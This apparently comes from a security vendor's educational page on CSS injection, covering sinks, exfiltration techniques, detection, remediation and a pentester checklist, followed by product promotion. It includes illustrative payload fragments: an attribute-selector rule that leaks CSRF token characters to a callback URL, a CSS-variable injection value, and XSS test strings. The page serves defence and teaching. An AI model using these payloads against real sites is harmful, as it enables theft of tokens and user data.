Vulnerability

CSS Injection
detect, understand, remediate

CSS injection is the class of vulnerabilities where attacker-controlled data lands inside a style sheet, a style attribute, a style tag, an unsanitised CSS custom property, or a theme-colour template, so the browser parses attacker rules as part of the page. The vulnerability does not require script execution. Data exfiltration through attribute selectors, dangling-markup channels, keyframe timing, and font-ligature side channels turns CSS into a credible exfil primitive even where a Content Security Policy blocks scripts.

No credit card required. Free plan available forever.

Severity

High

CWE ID

CWE-79

OWASP Top 10

A03:2021 - Injection

CVSS 3.1 Score

7.6

What is CSS injection?

CSS injection is the class of vulnerabilities where an application reflects attacker-controlled data inside a style sheet, a style tag, an inline style attribute, a CSS custom property, an SVG style block, or a server-rendered theme-colour template, so the browser parses attacker rules as part of the page. The canonical CWE roots are CWE-79 (Improper Neutralization of Input During Web Page Generation) for the style-context reflection and CWE-94 (Improper Control of Generation of Code) for the rule-injection root. OWASP groups the family under A03:2021 Injection alongside cross-site scripting and HTML injection. The vulnerability does not require JavaScript execution; the damage comes from attacker rules executing during layout, paint, font selection, or animation evaluation.

The category is distinct from cross-site scripting because it does not need a script-execution path; a successful CSS injection lands data exfiltration, defacement, or rendering manipulation through pure style primitives even where a Content Security Policy blocks inline and remote scripts. It is also distinct from HTML injection, which targets the markup tree and adds new tags; CSS injection targets the cascade and uses existing markup as the canvas. A finding that filters <script> and <iframe> but lets a <style> tag, an inline style attribute, or a CSS variable through is a CSS injection, not a clean closure.

Modern variants weaponise selectors, transitions, keyframes, font ligatures, and dangling markup. Pepe Vila's sequential CSS exfiltration research (2018), the PortSwigger Web Security Academy CSS injection labs, the long history of dangling-markup attacks dating back to the Heiderich research, and active CVEs against CMS theme-colour templates, marketing-page renderers, and email rendering pipelines all reference variants of this pattern. Pairing the finding with clickjacking or missing security headers is common when the page also lacks frame-ancestors enforcement or has a permissive style-src directive.

CSS injection vs XSS vs HTML injection

The three families share a root cause (unsanitised user input lands in a context the browser parses) but diverge sharply on capability, payload class, and remediation. A defensible triage walks each axis before deciding which class the finding belongs to.

PropertyCSS injectionHTML injection (CWE-80)XSS (CWE-79)
Required sinkStyle sheet, style tag, style attribute, CSS variable, SVG style block, or theme-colour template that parses attacker text as a rule.HTML body context where new tags or attributes render in the response without encoding.HTML context plus a path to a JavaScript execution sink (script tag, event handler, javascript: URI, sink-triggering DOM API).
Typical payloadsAttribute selectors with background-image url() callbacks, dangling <style> blocks, keyframes-with-content-property side channels, font-face descriptors, content-visibility rules, and CSS variable redefinitions.<iframe>, <a href>, <form action>, <img src>, <link rel="stylesheet">, dangling <textarea>.<script>alert(1)</script>, <img src=x onerror=alert(1)>, javascript: URI in <a href>, <svg onload>.
Realistic impactSequential exfiltration of CSRF tokens, anti-CSRF synchroniser fields, password reset tokens, recovery codes, OAuth state parameters, and form values; defacement; overlay phishing; selective UI hiding to defeat safety controls.In-domain phishing overlay, defacement, link redirection, dangling-markup exfiltration of CSRF tokens, layout breakage that hides safety controls.All HTML-injection impacts plus session theft, keylogging, account takeover, and arbitrary action execution as the victim.
CSP relevanceA script-blocking CSP does not stop CSS injection. style-src, style-src-attr, style-src-elem, and connect-src (for url() callbacks against tracking endpoints) are the relevant directives.A CSP can mitigate downstream behaviour but cannot prevent rendered markup; encoding at the sink is the fix.A strict CSP with nonce-based script-src and unsafe-inline removed is the second line of defence after output encoding.
Common closure mistakeClosed as informational because no JavaScript executed. The pure-CSS exfiltration paths are missed.Closed as XSS-only when the underlying class is markup injection that survives any new payload class.Closed on the specific payload that landed rather than on the encoding gap at the sink.

Where CSS injection lives

A defensible remediation plan starts by naming the style sink the finding sits on. The six sink classes below are the surfaces that show up in real engagement evidence. A finding that does not name the sink produces a closure the auditor cannot read and a regression the next scan cannot pair.

Style tag interpolation

Server-rendered or client-rendered template that interpolates user input directly inside a <style> block. WordPress theme customisers, Drupal custom CSS regions, marketing landing page builders, email rendering pipelines, and PDF report engines that build a <style> tag from theme settings all sit here.

Inline style attribute injection

A style= attribute on an element rendered from a user-controlled value. Avatar background colours, profile theme tokens, chart styling tokens, dashboard widget colour pickers, and rich-text editors that allow style= via an allowlist all sit here. The payload usually closes the attribute and opens a new declaration.

CSS custom property assignment

A CSS variable (--brand-colour, --theme-accent, --chart-fill) populated from user input or from a tenant configuration record. The variable is referenced from many rules across the cascade, so the injection lands wide blast radius. Theme-colour helpers in design systems are the canonical sink.

Theme-colour and personalisation templates

A page or component renders a colour, background image URL, font URL, or font-family from a tenant profile, a campaign record, or an embed configuration. The url() context inside background-image, src=, or @import is a classic exfiltration channel through tracking endpoints.

SVG inline style blocks

An uploaded or rendered SVG carries a <style> element or style= attributes the browser parses when the SVG renders inline. SVG with style is a recurring sink missed by HTML-only sanitisers and pairs with cross-site scripting via SVG when the sanitiser stops at script-element removal.

Dangling markup into CSS context

Reflection lands before a closing tag, and the trailing context happens to be a CSS sink: a trailing url() inside a style attribute, a partial selector that swallows downstream tokens until a closing brace, or an unbalanced @import that the browser tolerates and parses. The injection point is the same; the resulting context decides the family.

How CSS injection works

1

Identify the style sink

The attacker locates a request input that lands inside a CSS context: a query parameter that appears in a style tag, a profile field rendered into a style attribute, a tenant colour token assigned to a CSS variable, an SVG upload preserved as inline markup, or a theme-colour template used by a server-side renderer.

2

Confirm rule parsing

The attacker submits a benign rule that should not appear in the page (a unique attribute selector with a known url() callback to a controlled endpoint). A request to the controlled endpoint with the expected target attribute value proves the browser parsed the rule and the sink is exploitable.

3

Pick the exfiltration primitive

Attribute selectors with url() callbacks read attribute values one character at a time (input[name=csrf][value^=a] background-image: url(callback?a)). Keyframe and transition timing surfaces font selection side channels. Font ligatures abuse the rendered glyph stream. Dangling markup chained with a trailing url() exfiltrates the page tail.

4

Persist the exfiltration

A stored CSS injection persists across every visitor until the underlying data is cleaned. A reflected variant requires a victim visit. A long-lived exfiltration runs against every page load and reads dynamic tokens (CSRF, OTP, recovery codes) the application renders into reachable selectors.

CSS exfiltration primitives

The set of pure-CSS primitives that read or leak data has grown across the past decade. Each primitive maps to a different feature of the cascade and a different defensive layer.

Attribute selector exfiltration

A selector of the form input[name=token][value^=a] paired with background-image: url(callback?prefix=a) triggers a network request to the attacker endpoint when an element matches the prefix. Iterating prefix characters one at a time recovers the attribute value. This is the canonical CSS keylogger pattern against form inputs that render with their value attribute populated server-side.

Sequential CSS exfiltration

Pepe Vila&apos;s 2018 research showed that a single style sheet can recover a hidden token end-to-end by chaining attribute selectors and animation delays so each iteration triggers the next without reloading the page. Modern variants use @import to fetch the next stage of the attack from an attacker server based on the previously leaked character.

Keyframes and transition side channels

CSS animations with timing functions and transition events can be observed by the attacker when paired with url() callbacks. The presence or absence of a transition reveals whether a selector matched, which leaks classes, attribute values, and visibility state.

Font ligature timing

Custom @font-face descriptors with unicode-range entries that map specific character combinations to network-fetched glyphs let the attacker observe which character pairs the victim renders. The technique was demonstrated against password fields rendered with browser autofill values.

Dangling markup with trailing url()

A reflection that does not close cleanly can leave a trailing url( open. Any subsequent content on the page (CSRF tokens, session metadata, user PII rendered after the injection point) is captured by the browser as part of the URL the browser fetches, leaking the trailing markup to the attacker endpoint.

content-visibility and quotes() side channels

Newer CSS features such as content-visibility, quotes(), and counter() expose previously inaccessible data through paint or layout side effects. A counter that increments only on matching elements paired with a url() callback reveals whether the element rendered. Defensive review must include the newer specifications, not only legacy CSS 2.

Common causes

User-controlled values interpolated into style tags

A server-side renderer builds the <style> block from theme settings, tenant configuration, or campaign records and interpolates raw strings without context-aware encoding. The encoding required for CSS context is not the same as the encoding required for HTML or JavaScript contexts; an HTML-encoder applied to CSS still allows quotes and braces.

Style attribute allowlist in a rich-text sanitiser

A markdown or rich-text editor strips script tags and event handlers but allows style= on certain elements (commonly anchors, images, and inline text). The allowlist is the injection vector. DOMPurify, sanitize-html, and similar libraries require explicit style= enforcement and a CSS parser to be safe.

CSS variable assignment from untrusted input

A design system sets --brand-colour or --theme-accent from a tenant profile colour string. The browser accepts any valid CSS value, so an attacker assigns a value like red; --x: url(callback) and lands a rule the rest of the cascade references. The fix is parsing and validating the colour value, not concatenating the string.

SVG uploads preserved with inline markup

A profile avatar uploader accepts SVG and preserves the file as-is for inline rendering. The SVG carries a <style> element or style= attributes the browser parses on render. An HTML-only sanitiser that does not understand SVG passes the file through, and the next page render parses the attacker rule.

Email and PDF renderers reading user fields

Outbound email templates, invoice generators, AI report templates, and PDF exporters interpolate user-controlled fields into inline style blocks for branding. The same encoding gap that surfaces in the web tier appears here, often without a CSP to dampen the consequences and often outside the security team coverage scope by default.

CSS-in-JS template literals with raw interpolation

Styled-components, Emotion, and similar libraries support template-literal interpolation. A developer writes ${userColour} or ${tenantTheme} inside a styled.div template without sanitisation. The library writes the resulting string into a style sheet or style attribute, and the injection lands.

Theme-colour query parameters and personalisation links

Marketing personalisation links carry theme parameters (?primary=blue&accent=red) that the page reads and applies to a CSS variable or a generated style block. The attacker controls the query parameter, the page applies it, and the rule lands. Pre-defined enumerated theme keys are the safe alternative; raw colour strings are not.

Permissive style-src in the Content Security Policy

A CSP with style-src 'self' 'unsafe-inline' or with no style-src-attr enforcement is the rule that allows the parsed rule to take effect. A strict CSP cannot prevent the encoding gap at the sink, but it can disable inline style attributes and require nonces on style elements, removing entire payload classes from the attack surface.

How to detect CSS injection

Detection runs across two surfaces. Active testing produces signals an external scanner, an authenticated scanner, and a code scanner can read against the application implementation. Configuration review against the actual sanitiser settings, the CSP, and the rendering pipeline reads the static evidence the scanner cannot reach. A defensible posture runs both halves and records the finding on the canonical engagement record.

Active testing signals

  • SecPortal authenticated scanning probes inputs that surface inside style sheets, style tags, style attributes, and CSS custom properties, injects benign rules that should not parse, and validates whether selector exfiltration or dangling-markup channels survive output encoding and the deployed CSP. The finding lands with the affected route, the sink class, the rule that parsed, and the exfiltration channel observed.
  • External scanning fingerprints style-context reflection on unauthenticated pages, error templates, marketing surfaces, and embedded widgets where user-controlled values land inside style attributes or CSS variables, and tests the page-level CSP for permissive style-src and missing style-src-attr coverage.
  • Code scanning executes Semgrep rule packs against connected GitHub, GitLab, and Bitbucket repositories for unsafe interpolation of user data into style tags, inline style attributes, CSS-in-JS template literals, framework theme-colour helpers, server-side rendered style blocks, and CSS custom property assignments without context-aware encoding.
  • Findings management captures the CWE-79 (and CWE-94 cross-reference) mapping, the OWASP A03 category, the sink class, the rule that landed, the exfiltration primitive, the evidence (request/response captures, rendered DOM snapshot, callback log), and a CVSS 3.1 vector calibrated for the realistic blast radius rather than the generic XSS base score.

Configuration review signals

  • Inspect the deployed CSP for style-src, style-src-attr, and style-src-elem. A directive of style-src 'self' 'unsafe-inline' or a missing style-src-attr is a finding worth recording even before a confirmed sink exploit; the CSP is the second line of defence and a permissive directive collapses the layered model.
  • Audit the sanitiser configuration. DOMPurify, sanitize-html, bleach, and similar libraries each require an explicit policy for style= attributes and for SVG content. Confirm the policy strips style= unless a CSS parser validates the declarations. Default configurations frequently allow style= on a subset of elements that is the practical injection vector.
  • Review every server-side renderer that builds a style block. Theme-colour services, tenant theming templates, marketing personalisation pipelines, email template renderers, and AI report PDF generators are the recurring sinks. Confirm each renderer parses and validates the colour or URL before interpolation rather than concatenating the raw string.
  • Test SVG upload pipelines. Upload an SVG that carries a <style> element with a known url() callback. Render the SVG inline through every consumer (profile avatar, document preview, branding asset, marketing widget) and confirm the callback does not fire. A callback firing is a confirmed CSS injection through the SVG sink.
  • Subscribe to security advisories for theme renderers and CMS personalisation plugins. WordPress theme customiser, Drupal asset libraries, Magento email templates, HubSpot and Marketo template renderers, and design-system theme helpers have historically shipped advisories that map to CSS injection variants.

How to remediate CSS injection

Apply context-aware encoding at every CSS sink

CSS-context encoding is not the same as HTML-context or JavaScript-context encoding. The OWASP Application Security Verification Standard V5 (Validation, Sanitization and Encoding) section names a CSS encoder as a distinct requirement. Pick a library that implements the CSS encoder (OWASP Java Encoder, Coverity Security Library, or the framework-native helper) and apply it at the sink, not at the input.

Parse and validate colour, URL, and length values before interpolation

A theme colour that arrives from a user profile should be parsed against a strict named-colour list or a strict hex pattern, not interpolated raw. A URL that arrives from a tenant configuration should be parsed against an allowlist of trusted domains. A CSS length should be parsed as a numeric value with a known unit. Concatenation is the recurring failure mode.

Block style= attributes in rich-text sanitisers

Rich-text editors that accept user input should strip style= attributes by default. Where styling is required, render through a constrained class-based system and allow only a known set of CSS classes the application controls. A constrained class allowlist is auditable; a free-form style= attribute is not.

Set a strict Content Security Policy for style sources

A CSP of style-src &apos;self&apos; with style-src-attr &apos;none&apos; (or a nonce-based scheme) disables inline style attributes entirely. A nonce-based style-src and style-src-elem closes the remaining gap on inline style elements. The CSP is the second line; the encoder at the sink is the first.

Sanitise SVG uploads with an SVG-aware sanitiser

An HTML-only sanitiser does not handle SVG style elements. Use DOMPurify with SVG profile enabled, svg-sanitizer, or a server-side SVG parser that strips style elements and style= attributes. Apply the sanitisation at upload time, store the sanitised output, and re-sanitise on render to guard against future format drift.

Audit the email and PDF rendering tier with the same checklist

The web tier is the obvious sink; the email tier and the PDF tier are the silent ones. Apply the same CSS-context encoding, the same style attribute restrictions, and the same sanitiser policy to outbound email templates, invoice generators, AI report PDF templates, and any white-labelled report exporter. Same vulnerability, same fix.

Pre-render allowed theme variants on the server

When theme customisation is required, render a known set of theme variants on the server and serve them as static assets. A user picks a theme key from a fixed list; the application loads the pre-rendered style sheet. The user cannot inject a colour value because the colour value never traverses an interpolation path.

Add regression tests at every CSS sink

Every CSS sink should ship with a unit test that injects a payload designed to land a rule and asserts the rendered output is encoded. Add the payload corpus to the test fixture set so a future refactor that breaks the encoder fails CI rather than ships to production.

Verify closure with a directed retest

A CSS injection finding moves to closed only when a directed retest reproduces the original sink, the original payload class, and the original exfiltration channel and confirms the encoder, the sanitiser, the CSP, or the structural fix prevents the rule from parsing. Closure on documentation alone is the largest single contributor to reopen rate on this finding class.

How SecPortal records and tracks CSS injection findings

SecPortal is not a sanitiser, is not a WAF, and does not enforce CSP at the edge. It is the workspace where every CSS injection finding lands on the engagement record alongside the source-level findings, the external attack-surface findings, and the authenticated DAST findings so severity, ownership, evidence, fix, and retest stay on one canonical record per affected sink and exfiltration class.

Run authenticated scanning behind login

Authenticated scanning probes inputs that surface inside style sheets, style tags, style attributes, and CSS custom properties, injects benign rules that should not parse, and validates whether selector exfiltration or dangling-markup channels survive output encoding and the deployed CSP. Findings land with the affected route, the sink class, and the rule that parsed.

Run external scanning across the verified perimeter

External scanning fingerprints style-context reflection on unauthenticated pages, error templates, marketing surfaces, and embedded widgets where user-controlled values land inside style attributes or CSS variables, and tests the page-level CSP for permissive style-src and missing style-src-attr coverage.

Run code scanning across connected repositories

Code scanning runs Semgrep rule packs against connected GitHub, GitLab, and Bitbucket repositories for unsafe interpolation of user data into style tags, inline style attributes, CSS-in-JS template literals, framework theme-colour helpers, server-side rendered style blocks, and CSS custom property assignments. Findings carry the file path, line number, and matched rule on the engagement record.

Record findings with the CWE and OWASP mapping

Findings management captures CWE-79 (and CWE-94 cross-reference where the rule-injection root is the better fit), the OWASP A03:2021 mapping, the sink class (style tag, style attribute, CSS variable, SVG style block, theme-colour template, dangling markup), the exfiltration primitive (attribute selector callback, keyframe timing, font ligature, dangling url()), and a CVSS 3.1 vector calibrated for the realistic blast radius rather than the generic XSS base score.

Import third-party CSS findings via bulk import

Bulk finding import lets you bring in CSS injection findings from a third-party pentest, a Burp Suite Pro scan, a manual rich-text editor audit, a CMS plugin advisory, or a marketing personalisation review. The imported finding lands on the engagement record under the same canonical record shape with no parallel backlog.

Capture sink-tier exceptions on the finding record

When a CSS sink cannot be remediated immediately (a legacy CMS theme without an upgrade path, a third-party marketing widget outside the security team operational scope, an email rendering pipeline tied to a vendor template), the exception lives on the finding through finding overrides with named owner, compensating controls, residual-risk rationale, review cadence, and expiry rather than in a meeting note.

Verify closure through retesting workflows

The retesting workflow pairs the retest to the original finding so closure means a directed retest against the original sink, the original payload class, and the original exfiltration channel reproduces the conditions and shows the encoder, the sanitiser, the CSP, or the structural fix prevents the rule from parsing. The verified_at and resolved_at timestamps preserve the audit chain.

Map findings against multi-framework compliance

Compliance tracking maps CSS injection against OWASP A03:2021 Injection, OWASP ASVS V5 Validation, Sanitization and Encoding, PCI DSS Requirement 6.2 (Secure Development), ISO 27001 Annex A.8.28 (Secure Coding), SOC 2 CC6.1 (Logical Access Controls), NIST SP 800-53 SI-10 (Information Input Validation), NIST CSF 2.0 PR.PS Platform Security, NIS2 Article 21, and CIS Controls Control 16 (Application Software Security) in parallel.

Capture the activity log as the workspace audit chain

Activity log records every workspace decision (engagement scope, finding triage, severity override, status transition, exception approval, retest closure) with the acting user and timestamp, exports to CSV, and gives the GRC team an audit-grade record of how the CSS injection finding moved through the programme.

What SecPortal does not do

Honesty on capability matters when the topic is markup hygiene at the rendering tier. SecPortal does not ship a managed CSP enforcement proxy, does not ship a managed HTML or SVG sanitiser, does not push CSP changes to Cloudflare, Fastly, Akamai, AWS CloudFront, Azure Front Door, or Google Cloud CDN, does not deploy a WAF in front of your application, does not act as a reverse proxy on the request path, and does not ship packaged push connectors into Jira, ServiceNow, Slack, Teams, PagerDuty, SIEM, SOAR, GRC, ticketing, or vendor template APIs. Programmes that need managed CSP rollout, edge sanitisation, or vendor template policy enforcement run a dedicated edge and rendering stack, and land the resulting CSS injection findings on the SecPortal engagement record through bulk finding import. The platform value is the consolidated record where every CSS injection finding (whether it came from native authenticated scanning, external scanning, code scanning, bulk import from an outside pentest, a CMS plugin advisory, or a manual rich-text editor audit) lives alongside the rest of the security backlog with the same lifecycle, the same role-based access control, the same activity log, and the same evidence trail.

Related vulnerabilities and recommended reading

CSS injection sits in the wider injection and rendering-misuse cluster. The pages below cover adjacent finding shapes, the frameworks that map control evidence against output encoding and CSP, and the programme workflows that hold the backlog across detect, triage, prioritise, route, remediate, and verify.

  • Cross-site scripting (XSS) the script-context sibling that adds JavaScript execution to the same encoding-gap root cause.
  • HTML injection the markup-context sibling that adds new tags and attributes through the same unsanitised-input root.
  • XSS via SVG the SVG upload pipeline finding class that pairs with CSS injection when the SVG carries inline style content.
  • Clickjacking the UI redress finding that pairs with CSS injection when the page also lacks frame-ancestors enforcement.
  • Missing security headers the CSP and security header finding class that determines whether CSS injection exfiltration paths survive.
  • CORS misconfiguration the adjacent header-policy finding class that often surfaces in the same review as a permissive style-src.
  • Open redirect the chaining target where attacker-controlled URLs land inside style url() callbacks the page parses.
  • Host header injection the input vector that often lands inside theme-URL or canonical-link templates the CSS injection chain reads.
  • OWASP ASVS Chapter V5 Validation, Sanitization and Encoding names the CSS encoder as a distinct verification requirement.
  • OWASP WSTG the testing guide section on input handling and output encoding that anchors the active probe checklist.
  • ISO/IEC 27001 Annex A.8.28 (Secure Coding) and A.8.25 (Secure Development Life Cycle) are the ISO mappings for CSS encoder evidence.
  • PCI DSS Requirement 6.2 covers secure development practices where output encoding at every sink is the named control.
  • NIST CSF 2.0 the PR.PS Platform Security category maps secure coding and output encoding to outcomes the leadership read reflects.
  • Authenticated scanning the feature page covering authenticated probes that surface CSS injection sinks behind login.
  • Code scanning the feature page covering Semgrep SAST against connected repositories for unsafe CSS interpolation patterns.
  • Finding overrides the override register where CSS-sink exceptions live with named owner, compensating controls, and review cadence.
  • Remediation tracking the workflow that carries CSS injection findings through encoder fix, sanitiser hardening, CSP tightening, and retested closure on one record.
  • Security leadership reporting the workflow that carries the injection-class posture into the leadership read and the audit committee narrative.
  • SecPortal for internal security teams the audience overview for the internal teams that own output-encoding hygiene across the application portfolio.

Compliance impact

A pentester checklist for CSS injection

The list below is the minimum coverage a tester should walk before declaring a target free of CSS injection. Each item maps to a specific sink class and a specific exfiltration primitive.

  • Reflected query parameters that land inside style attributes or style tags: probe with a unique attribute selector plus a known url() callback. A callback firing confirms the sink.
  • Stored fields rendered into themes or personalisation templates: profile colours, organisation theme tokens, campaign accent colours, embed configuration. Inject through one user account and view through another to confirm persistence and CSP behaviour.
  • SVG upload pipelines: avatars, document previews, branding assets, marketing widgets. Upload an SVG carrying a <style> element with a known url() callback. Render the SVG inline through every consumer and confirm the callback does not fire.
  • CSS custom properties: theme variables (--brand-colour, --theme-accent, --chart-fill). Confirm whether attacker-controlled colour strings are parsed and validated or concatenated raw.
  • Second-order sinks: outbound email templates, invoice generators, AI report PDF templates, white-labelled report exporters. The same field that renders encoded on the web can render raw in the email or PDF tier.
  • CSP review: pull style-src, style-src-attr, and style-src-elem from the deployed policy. A directive of style-src 'self' 'unsafe-inline' or missing style-src-attr is a finding even before a confirmed sink exploit.
  • Sequential exfiltration proof: chain attribute selector callbacks against a known token (CSRF, OAuth state, recovery code) one character at a time and confirm the recovered value against the rendered DOM. Document the recovered value as the exploit proof.
  • Record the sink class (style tag, style attribute, CSS variable, SVG style block, theme template, dangling markup), the exfiltration primitive (attribute selector, keyframe timing, font ligature, dangling url()), the CVSS vector calibrated to the realistic downstream chain, the CWE-79 mapping (plus CWE-94 cross-reference where rule injection is the better root), and the remediation plan covering CSS encoder, sanitiser hardening, CSP tightening, and a regression test.

Track CSS injection findings on one engagement record

SecPortal pairs the authenticated scan, the external scan, and the code scanner with one findings record per CSS injection sink, with CVSS 3.1 severity, CWE-79 and CWE-94 mapping, framework crosswalks, retest pairing, and an append-only activity log. Start scanning for free.

No credit card required. Free plan available forever.